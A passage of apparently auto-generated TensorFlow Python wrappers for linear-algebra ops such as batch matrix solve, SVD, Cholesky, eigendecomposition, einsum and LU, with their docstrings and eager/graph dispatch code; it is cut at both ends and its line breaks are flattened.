_execute.must_record_gradient(): _attrs = ("adjoint", _op._get_attr_bool("adjoint"), "T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "BatchMatrixInverse", _inputs_flat, _attrs, _result) _result, = _result return _result BatchMatrixInverse = tf_export("raw_ops.BatchMatrixInverse")(_ops.to_raw_op(batch_matrix_inverse)) def batch_matrix_inverse_eager_fallback(input, adjoint, name, ctx): if adjoint is None: adjoint = False adjoint = _execute.make_bool(adjoint, "adjoint") _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float64, _dtypes.float32, ]) _inputs_flat = [input] _attrs = ("adjoint", adjoint, "T", _attr_T) _result = _execute.execute(b"BatchMatrixInverse", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "BatchMatrixInverse", _inputs_flat, _attrs, _result) _result, = _result return _result def batch_matrix_solve(matrix, rhs, adjoint=False, name=None): r"""TODO: add doc. Args: matrix: A `Tensor`. Must be one of the following types: `float64`, `float32`. rhs: A `Tensor`. Must have the same type as `matrix`. adjoint: An optional `bool`. Defaults to `False`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `matrix`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "BatchMatrixSolve", name, matrix, rhs, "adjoint", adjoint) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return batch_matrix_solve_eager_fallback( matrix, rhs, adjoint=adjoint, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. if adjoint is None: adjoint = False adjoint = _execute.make_bool(adjoint, "adjoint") _, _, _op, _outputs = _op_def_library._apply_op_helper( "BatchMatrixSolve", matrix=matrix, rhs=rhs, adjoint=adjoint, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("adjoint", _op._get_attr_bool("adjoint"), "T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "BatchMatrixSolve", _inputs_flat, _attrs, _result) _result, = _result return _result BatchMatrixSolve = tf_export("raw_ops.BatchMatrixSolve")(_ops.to_raw_op(batch_matrix_solve)) def batch_matrix_solve_eager_fallback(matrix, rhs, adjoint, name, ctx): if adjoint is None: adjoint = False adjoint = _execute.make_bool(adjoint, "adjoint") _attr_T, _inputs_T = _execute.args_to_matching_eager([matrix, rhs], ctx, [_dtypes.float64, _dtypes.float32, ]) (matrix, rhs) = _inputs_T _inputs_flat = [matrix, rhs] _attrs = ("adjoint", adjoint, "T", _attr_T) _result = _execute.execute(b"BatchMatrixSolve", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "BatchMatrixSolve", _inputs_flat, _attrs, _result) _result, = _result return _result def batch_matrix_solve_ls(matrix, rhs, l2_regularizer, fast=True, name=None): r"""TODO: add doc. Args: matrix: A `Tensor`. Must be one of the following types: `float64`, `float32`. rhs: A `Tensor`. Must have the same type as `matrix`. l2_regularizer: A `Tensor` of type `float64`. fast: An optional `bool`. Defaults to `True`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `matrix`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "BatchMatrixSolveLs", name, matrix, rhs, l2_regularizer, "fast", fast) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return batch_matrix_solve_ls_eager_fallback( matrix, rhs, l2_regularizer, fast=fast, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. if fast is None: fast = True fast = _execute.make_bool(fast, "fast") _, _, _op, _outputs = _op_def_library._apply_op_helper( "BatchMatrixSolveLs", matrix=matrix, rhs=rhs, l2_regularizer=l2_regularizer, fast=fast, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T"), "fast", _op._get_attr_bool("fast")) _inputs_flat = _op.inputs _execute.record_gradient( "BatchMatrixSolveLs", _inputs_flat, _attrs, _result) _result, = _result return _result BatchMatrixSolveLs = tf_export("raw_ops.BatchMatrixSolveLs")(_ops.to_raw_op(batch_matrix_solve_ls)) def batch_matrix_solve_ls_eager_fallback(matrix, rhs, l2_regularizer, fast, name, ctx): if fast is None: fast = True fast = _execute.make_bool(fast, "fast") _attr_T, _inputs_T = _execute.args_to_matching_eager([matrix, rhs], ctx, [_dtypes.float64, _dtypes.float32, ]) (matrix, rhs) = _inputs_T l2_regularizer = _ops.convert_to_tensor(l2_regularizer, _dtypes.float64) _inputs_flat = [matrix, rhs, l2_regularizer] _attrs = ("T", _attr_T, "fast", fast) _result = _execute.execute(b"BatchMatrixSolveLs", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "BatchMatrixSolveLs", _inputs_flat, _attrs, _result) _result, = _result return _result def batch_matrix_triangular_solve(matrix, rhs, lower=True, adjoint=False, name=None): r"""TODO: add doc. Args: matrix: A `Tensor`. Must be one of the following types: `float64`, `float32`. rhs: A `Tensor`. Must have the same type as `matrix`. lower: An optional `bool`. Defaults to `True`. adjoint: An optional `bool`. Defaults to `False`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `matrix`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "BatchMatrixTriangularSolve", name, matrix, rhs, "lower", lower, "adjoint", adjoint) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return batch_matrix_triangular_solve_eager_fallback( matrix, rhs, lower=lower, adjoint=adjoint, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. if lower is None: lower = True lower = _execute.make_bool(lower, "lower") if adjoint is None: adjoint = False adjoint = _execute.make_bool(adjoint, "adjoint") _, _, _op, _outputs = _op_def_library._apply_op_helper( "BatchMatrixTriangularSolve", matrix=matrix, rhs=rhs, lower=lower, adjoint=adjoint, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("lower", _op._get_attr_bool("lower"), "adjoint", _op._get_attr_bool("adjoint"), "T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "BatchMatrixTriangularSolve", _inputs_flat, _attrs, _result) _result, = _result return _result BatchMatrixTriangularSolve = tf_export("raw_ops.BatchMatrixTriangularSolve")(_ops.to_raw_op(batch_matrix_triangular_solve)) def batch_matrix_triangular_solve_eager_fallback(matrix, rhs, lower, adjoint, name, ctx): if lower is None: lower = True lower = _execute.make_bool(lower, "lower") if adjoint is None: adjoint = False adjoint = _execute.make_bool(adjoint, "adjoint") _attr_T, _inputs_T = _execute.args_to_matching_eager([matrix, rhs], ctx, [_dtypes.float64, _dtypes.float32, ]) (matrix, rhs) = _inputs_T _inputs_flat = [matrix, rhs] _attrs = ("lower", lower, "adjoint", adjoint, "T", _attr_T) _result = _execute.execute(b"BatchMatrixTriangularSolve", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "BatchMatrixTriangularSolve", _inputs_flat, _attrs, _result) _result, = _result return _result def batch_self_adjoint_eig(input, name=None): r"""TODO: add doc. Args: input: A `Tensor`. Must be one of the following types: `float64`, `float32`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "BatchSelfAdjointEig", name, input) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return batch_self_adjoint_eig_eager_fallback( input, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. _, _, _op, _outputs = _op_def_library._apply_op_helper( "BatchSelfAdjointEig", input=input, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "BatchSelfAdjointEig", _inputs_flat, _attrs, _result) _result, = _result return _result BatchSelfAdjointEig = tf_export("raw_ops.BatchSelfAdjointEig")(_ops.to_raw_op(batch_self_adjoint_eig)) def batch_self_adjoint_eig_eager_fallback(input, name, ctx): _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float64, _dtypes.float32, ]) _inputs_flat = [input] _attrs = ("T", _attr_T) _result = _execute.execute(b"BatchSelfAdjointEig", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "BatchSelfAdjointEig", _inputs_flat, _attrs, _result) _result, = _result return _result _BatchSelfAdjointEigV2Output = collections.namedtuple( "BatchSelfAdjointEigV2", ["e", "v"]) def batch_self_adjoint_eig_v2(input, compute_v=True, name=None): r"""TODO: add doc. Args: input: A `Tensor`. Must be one of the following types: `float64`, `float32`. compute_v: An optional `bool`. Defaults to `True`. name: A name for the operation (optional). Returns: A tuple of `Tensor` objects (e, v). e: A `Tensor`. Has the same type as `input`. v: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "BatchSelfAdjointEigV2", name, input, "compute_v", compute_v) _result = _BatchSelfAdjointEigV2Output._make(_result) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return batch_self_adjoint_eig_v2_eager_fallback( input, compute_v=compute_v, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. if compute_v is None: compute_v = True compute_v = _execute.make_bool(compute_v, "compute_v") _, _, _op, _outputs = _op_def_library._apply_op_helper( "BatchSelfAdjointEigV2", input=input, compute_v=compute_v, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("compute_v", _op._get_attr_bool("compute_v"), "T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "BatchSelfAdjointEigV2", _inputs_flat, _attrs, _result) _result = _BatchSelfAdjointEigV2Output._make(_result) return _result BatchSelfAdjointEigV2 = tf_export("raw_ops.BatchSelfAdjointEigV2")(_ops.to_raw_op(batch_self_adjoint_eig_v2)) def batch_self_adjoint_eig_v2_eager_fallback(input, compute_v, name, ctx): if compute_v is None: compute_v = True compute_v = _execute.make_bool(compute_v, "compute_v") _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float64, _dtypes.float32, ]) _inputs_flat = [input] _attrs = ("compute_v", compute_v, "T", _attr_T) _result = _execute.execute(b"BatchSelfAdjointEigV2", 2, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "BatchSelfAdjointEigV2", _inputs_flat, _attrs, _result) _result = _BatchSelfAdjointEigV2Output._make(_result) return _result _BatchSvdOutput = collections.namedtuple( "BatchSvd", ["s", "u", "v"]) def batch_svd(input, compute_uv=True, full_matrices=False, name=None): r"""TODO: add doc. Args: input: A `Tensor`. Must be one of the following types: `float64`, `float32`, `complex64`, `complex128`. compute_uv: An optional `bool`. Defaults to `True`. full_matrices: An optional `bool`. Defaults to `False`. name: A name for the operation (optional). Returns: A tuple of `Tensor` objects (s, u, v). s: A `Tensor`. Has the same type as `input`. u: A `Tensor`. Has the same type as `input`. v: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "BatchSvd", name, input, "compute_uv", compute_uv, "full_matrices", full_matrices) _result = _BatchSvdOutput._make(_result) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return batch_svd_eager_fallback( input, compute_uv=compute_uv, full_matrices=full_matrices, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. if compute_uv is None: compute_uv = True compute_uv = _execute.make_bool(compute_uv, "compute_uv") if full_matrices is None: full_matrices = False full_matrices = _execute.make_bool(full_matrices, "full_matrices") _, _, _op, _outputs = _op_def_library._apply_op_helper( "BatchSvd", input=input, compute_uv=compute_uv, full_matrices=full_matrices, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("compute_uv", _op._get_attr_bool("compute_uv"), "full_matrices", _op._get_attr_bool("full_matrices"), "T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "BatchSvd", _inputs_flat, _attrs, _result) _result = _BatchSvdOutput._make(_result) return _result BatchSvd = tf_export("raw_ops.BatchSvd")(_ops.to_raw_op(batch_svd)) def batch_svd_eager_fallback(input, compute_uv, full_matrices, name, ctx): if compute_uv is None: compute_uv = True compute_uv = _execute.make_bool(compute_uv, "compute_uv") if full_matrices is None: full_matrices = False full_matrices = _execute.make_bool(full_matrices, "full_matrices") _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.complex64, _dtypes.complex128, ]) _inputs_flat = [input] _attrs = ("compute_uv", compute_uv, "full_matrices", full_matrices, "T", _attr_T) _result = _execute.execute(b"BatchSvd", 3, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "BatchSvd", _inputs_flat, _attrs, _result) _result = _BatchSvdOutput._make(_result) return _result @_dispatch.add_dispatch_list @tf_export('linalg.cholesky', v1=['linalg.cholesky', 'cholesky']) @deprecated_endpoints('cholesky') def cholesky(input, name=None): r"""Computes the Cholesky decomposition of one or more square matrices. The input is a tensor of shape `[..., M, M]` whose inner-most 2 dimensions form square matrices. The input has to be symmetric and positive definite. Only the lower-triangular part of the input will be used for this operation. The upper-triangular part will not be read. The output is a tensor of the same shape as the input containing the Cholesky decompositions for all input submatrices `[..., :, :]`. **Note**: The gradient computation on GPU is faster for large matrices but not for large batch dimensions when the submatrices are small. In this case it might be faster to use the CPU. Args: input: A `Tensor`. Must be one of the following types: `float64`, `float32`, `half`, `complex64`, `complex128`. Shape is `[..., M, M]`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "Cholesky", name, input) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return cholesky_eager_fallback( input, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except (TypeError, ValueError): result = _dispatch.dispatch( cholesky, (), dict(input=input, name=name) ) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise # Add nodes to the TensorFlow graph. try: _, _, _op, _outputs = _op_def_library._apply_op_helper( "Cholesky", input=input, name=name) except (TypeError, ValueError): result = _dispatch.dispatch( cholesky, (), dict(input=input, name=name) ) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "Cholesky", _inputs_flat, _attrs, _result) _result, = _result return _result Cholesky = tf_export("raw_ops.Cholesky")(_ops.to_raw_op(cholesky)) def cholesky_eager_fallback(input, name, ctx): _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.half, _dtypes.complex64, _dtypes.complex128, ]) _inputs_flat = [input] _attrs = ("T", _attr_T) _result = _execute.execute(b"Cholesky", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "Cholesky", _inputs_flat, _attrs, _result) _result, = _result return _result def cholesky_grad(l, grad, name=None): r"""Computes the reverse mode backpropagated gradient of the Cholesky algorithm. For an explanation see "Differentiation of the Cholesky algorithm" by Iain Murray http://arxiv.org/abs/1602.07527. Args: l: A `Tensor`. Must be one of the following types: `half`, `float32`, `float64`. Output of batch Cholesky algorithm l = cholesky(A). Shape is `[..., M, M]`. Algorithm depends only on lower triangular part of the innermost matrices of this tensor. grad: A `Tensor`. Must have the same type as `l`. df/dl where f is some scalar function. Shape is `[..., M, M]`. Algorithm depends only on lower triangular part of the innermost matrices of this tensor. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `l`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "CholeskyGrad", name, l, grad) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return cholesky_grad_eager_fallback( l, grad, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. _, _, _op, _outputs = _op_def_library._apply_op_helper( "CholeskyGrad", l=l, grad=grad, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "CholeskyGrad", _inputs_flat, _attrs, _result) _result, = _result return _result CholeskyGrad = tf_export("raw_ops.CholeskyGrad")(_ops.to_raw_op(cholesky_grad)) def cholesky_grad_eager_fallback(l, grad, name, ctx): _attr_T, _inputs_T = _execute.args_to_matching_eager([l, grad], ctx, [_dtypes.half, _dtypes.float32, _dtypes.float64, ]) (l, grad) = _inputs_T _inputs_flat = [l, grad] _attrs = ("T", _attr_T) _result = _execute.execute(b"CholeskyGrad", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "CholeskyGrad", _inputs_flat, _attrs, _result) _result, = _result return _result _EigOutput = collections.namedtuple( "Eig", ["e", "v"]) def eig(input, Tout, compute_v=True, name=None): r"""Computes the eigen decomposition of one or more square matrices. Computes the eigenvalues and (optionally) right eigenvectors of each inner matrix in `input` such that `input[..., :, :] = v[..., :, :] * diag(e[..., :])`. The eigenvalues are sorted in non-decreasing order. ```python # a is a tensor. # e is a tensor of eigenvalues. # v is a tensor of eigenvectors. e, v = eig(a) e = eig(a, compute_v=False) ``` Args: input: A `Tensor`. Must be one of the following types: `float32`, `float64`, `complex64`, `complex128`. `Tensor` input of shape `[N, N]`. Tout: A `tf.DType` from: `tf.complex64, tf.complex128`. compute_v: An optional `bool`. Defaults to `True`. If `True` then eigenvectors will be computed and returned in `v`. Otherwise, only the eigenvalues will be computed. name: A name for the operation (optional). Returns: A tuple of `Tensor` objects (e, v). e: A `Tensor` of type `Tout`. v: A `Tensor` of type `Tout`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "Eig", name, input, "compute_v", compute_v, "Tout", Tout) _result = _EigOutput._make(_result) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return eig_eager_fallback( input, compute_v=compute_v, Tout=Tout, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. Tout = _execute.make_type(Tout, "Tout") if compute_v is None: compute_v = True compute_v = _execute.make_bool(compute_v, "compute_v") _, _, _op, _outputs = _op_def_library._apply_op_helper( "Eig", input=input, Tout=Tout, compute_v=compute_v, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("compute_v", _op._get_attr_bool("compute_v"), "T", _op._get_attr_type("T"), "Tout", _op._get_attr_type("Tout")) _inputs_flat = _op.inputs _execute.record_gradient( "Eig", _inputs_flat, _attrs, _result) _result = _EigOutput._make(_result) return _result Eig = tf_export("raw_ops.Eig")(_ops.to_raw_op(eig)) def eig_eager_fallback(input, Tout, compute_v, name, ctx): Tout = _execute.make_type(Tout, "Tout") if compute_v is None: compute_v = True compute_v = _execute.make_bool(compute_v, "compute_v") _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ]) _inputs_flat = [input] _attrs = ("compute_v", compute_v, "T", _attr_T, "Tout", Tout) _result = _execute.execute(b"Eig", 2, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "Eig", _inputs_flat, _attrs, _result) _result = _EigOutput._make(_result) return _result def einsum(inputs, equation, name=None): r"""Tensor contraction according to Einstein summation convention. Implements generalized Tensor contraction and reduction. Each input Tensor must have a corresponding input subscript appearing in the comma-separated left-hand side of the equation. The right-hand side of the equation consists of the output subscript. The input subscripts and the output subscript should consist of zero or more named axis labels and at most one ellipsis (`...`). The named axis labels may be any single character other than those having special meaning, namely `,.->`. The behavior of this Op is undefined if it receives an ill-formatted equation; since the validation is done at graph-building time, we omit format validation checks at runtime. Note: This Op is *not* intended to be called by the user; instead users should call `tf.einsum` directly. It is a hidden Op used by `tf.einsum`. Operations are applied to the input(s) according to the following rules: (a) Generalized Diagonals: For input dimensions corresponding to axis labels appearing more than once in the same input subscript, we take the generalized (`k`-dimensional) diagonal. For example, in the equation `iii->i` with input shape `[3, 3, 3]`, the generalized diagonal would consist of `3` elements at indices `(0, 0, 0)`, `(1, 1, 1)` and `(2, 2, 2)` to create a Tensor of shape `[3]`. (b) Reduction: Axes corresponding to labels appearing only in one input subscript but not in the output subscript are summed over prior to Tensor contraction. For example, in the equation `ab,bc->b`, the axis labels `a` and `c` are the reduction axis labels. (c) Batch Dimensions: Axes corresponding to labels appearing in each of the input subscripts and also in the output subscript make up the batch dimensions in Tensor contraction. Unnamed axis labels corresponding to ellipsis (`...`) also correspond to batch dimensions. For example, for the equation denoting batch matrix multiplication, `bij,bjk->bik`, the axis label `b` corresponds to a batch dimension. (d) Contraction: In case of binary einsum, axes corresponding to labels appearing in two different inputs (and not in the output) are contracted against each other. Considering the batch matrix multiplication equation again (`bij,bjk->bik`), the contracted axis label is `j`. (e) Expand Diagonal: If the output subscripts contain repeated (explicit) axis labels, the opposite operation of (a) is applied. For example, in the equation `i->iii`, and input shape `[3]`, the output of shape `[3, 3, 3]` are all zeros, except for the (generalized) diagonal which is populated with values from the input. Note: This operation is not supported by `np.einsum` or `tf.einsum`; it is provided to enable computing the symbolic gradient of `tf.einsum`. The output subscripts must contain only labels appearing in at least one of the input subscripts. Furthermore, all dimensions mapping to the same axis label must be equal. Any of the input and output subscripts may contain at most a single ellipsis (`...`). These ellipsis are mapped against dimensions not corresponding to any named axis label. If two inputs contain ellipsis, then they are broadcasted according to standard NumPy broadcasting [rules](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html). The broadcasted dimensions are placed in the corresponding location of the ellipsis in the output subscript. If the broadcasted dimensions are non-empty and the output subscripts do not contain ellipsis, then an InvalidArgument error is raised. @compatibility(numpy) Similar to [`numpy.einsum`](https://docs.scipy.org/doc/numpy/reference/generated/numpy.einsum.html). Comparison with `numpy.einsum`: * This Op only supports unary and binary forms of `numpy.einsum`. * This Op does not support implicit form. (i.e. equations without `->`). * This Op also supports repeated indices in the output subscript, which is not supported by `numpy.einsum`. @end_compatibility Args: inputs: A list of at least 1 `Tensor` objects with the same type. List of 1 or 2 Tensors. equation: A `string`. String describing the Einstein Summation operation; in the format of np.einsum. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `inputs`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "Einsum", name, inputs, "equation", equation) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return einsum_eager_fallback( inputs, equation=equation, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. if not isinstance(inputs, (list, tuple)): raise TypeError( "Expected list for 'inputs' argument to " "'einsum' Op, not %r." % inputs) _attr_N = len(inputs) equation = _execute.make_str(equation, "equation") _, _, _op, _outputs = _op_def_library._apply_op_helper( "Einsum", inputs=inputs, equation=equation, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("equation", _op.get_attr("equation"), "N", _op._get_attr_int("N"), "T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "Einsum", _inputs_flat, _attrs, _result) _result, = _result return _result Einsum = tf_export("raw_ops.Einsum")(_ops.to_raw_op(einsum)) def einsum_eager_fallback(inputs, equation, name, ctx): if not isinstance(inputs, (list, tuple)): raise TypeError( "Expected list for 'inputs' argument to " "'einsum' Op, not %r." % inputs) _attr_N = len(inputs) equation = _execute.make_str(equation, "equation") _attr_T, inputs = _execute.args_to_matching_eager(list(inputs), ctx, []) _inputs_flat = list(inputs) _attrs = ("equation", equation, "N", _attr_N, "T", _attr_T) _result = _execute.execute(b"Einsum", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "Einsum", _inputs_flat, _attrs, _result) _result, = _result return _result _LogMatrixDeterminantOutput = collections.namedtuple( "LogMatrixDeterminant", ["sign", "log_abs_determinant"]) def log_matrix_determinant(input, name=None): r"""Computes the sign and the log of the absolute value of the determinant of one or more square matrices. The input is a tensor of shape `[N, M, M]` whose inner-most 2 dimensions form square matrices. The outputs are two tensors containing the signs and absolute values of the log determinants for all N input submatrices `[..., :, :]` such that `determinant = sign*exp(log_abs_determinant)`. The `log_abs_determinant` is computed as `det(P)*sum(log(diag(LU)))` where `LU` is the `LU` decomposition of the input and `P` is the corresponding permutation matrix. Args: input: A `Tensor`. Must be one of the following types: `half`, `float32`, `float64`, `complex64`, `complex128`. Shape is `[N, M, M]`. name: A name for the operation (optional). Returns: A tuple of `Tensor` objects (sign, log_abs_determinant). sign: A `Tensor`. Has the same type as `input`. log_abs_determinant: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "LogMatrixDeterminant", name, input) _result = _LogMatrixDeterminantOutput._make(_result) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return log_matrix_determinant_eager_fallback( input, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. _, _, _op, _outputs = _op_def_library._apply_op_helper( "LogMatrixDeterminant", input=input, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "LogMatrixDeterminant", _inputs_flat, _attrs, _result) _result = _LogMatrixDeterminantOutput._make(_result) return _result LogMatrixDeterminant = tf_export("raw_ops.LogMatrixDeterminant")(_ops.to_raw_op(log_matrix_determinant)) def log_matrix_determinant_eager_fallback(input, name, ctx): _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ]) _inputs_flat = [input] _attrs = ("T", _attr_T) _result = _execute.execute(b"LogMatrixDeterminant", 2, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "LogMatrixDeterminant", _inputs_flat, _attrs, _result) _result = _LogMatrixDeterminantOutput._make(_result) return _result _LuOutput = collections.namedtuple( "Lu", ["lu", "p"]) @_dispatch.add_dispatch_list @tf_export('linalg.lu') def lu(input, output_idx_type=_dtypes.int32, name=None): r"""Computes the LU decomposition of one or more square matrices. The input is a tensor of shape `[..., M, M]` whose inner-most 2 dimensions form square matrices. The input has to be invertible. The output consists of two tensors LU and P containing the LU decomposition of all input submatrices `[..., :, :]`. LU encodes the lower triangular and upper triangular factors. For each input submatrix of shape `[M, M]`, L is a lower triangular matrix of shape `[M, M]` with unit diagonal whose entries correspond to the strictly lower triangular part of LU. U is a upper triangular matrix of shape `[M, M]` whose entries correspond to the upper triangular part, including the diagonal, of LU. P represents a permutation matrix encoded as a list of indices each between `0` and `M-1`, inclusive. If P_mat denotes the permutation matrix corresponding to P, then the L, U and P satisfies P_mat * input = L * U. Args: input: A `Tensor`. Must be one of the following types: `float64`, `float32`, `half`, `complex64`, `complex128`. A tensor of shape `[..., M, M]` whose inner-most 2 dimensions form matrices of size `[M, M]`. output_idx_type: An optional `tf.DType` from: `tf.int32, tf.int64`. Defaults to `tf.int32`. name: A name for the operation (optional). Returns: A tuple of `Tensor` objects (lu, p). lu: A `Tensor`. Has the same type as `input`. p: A `Tensor` of type `output_idx_type`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "Lu", name, input, "output_idx_type", output_idx_type) _result = _LuOutput._make(_result) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return lu_eager_fallback( input, output_idx_type=output_idx_type, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except (TypeError, ValueError): result = _dispatch.dispatch( lu, (), dict(input=input, output_idx_type=output_idx_type, name=name) ) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise # Add nodes to the TensorFlow 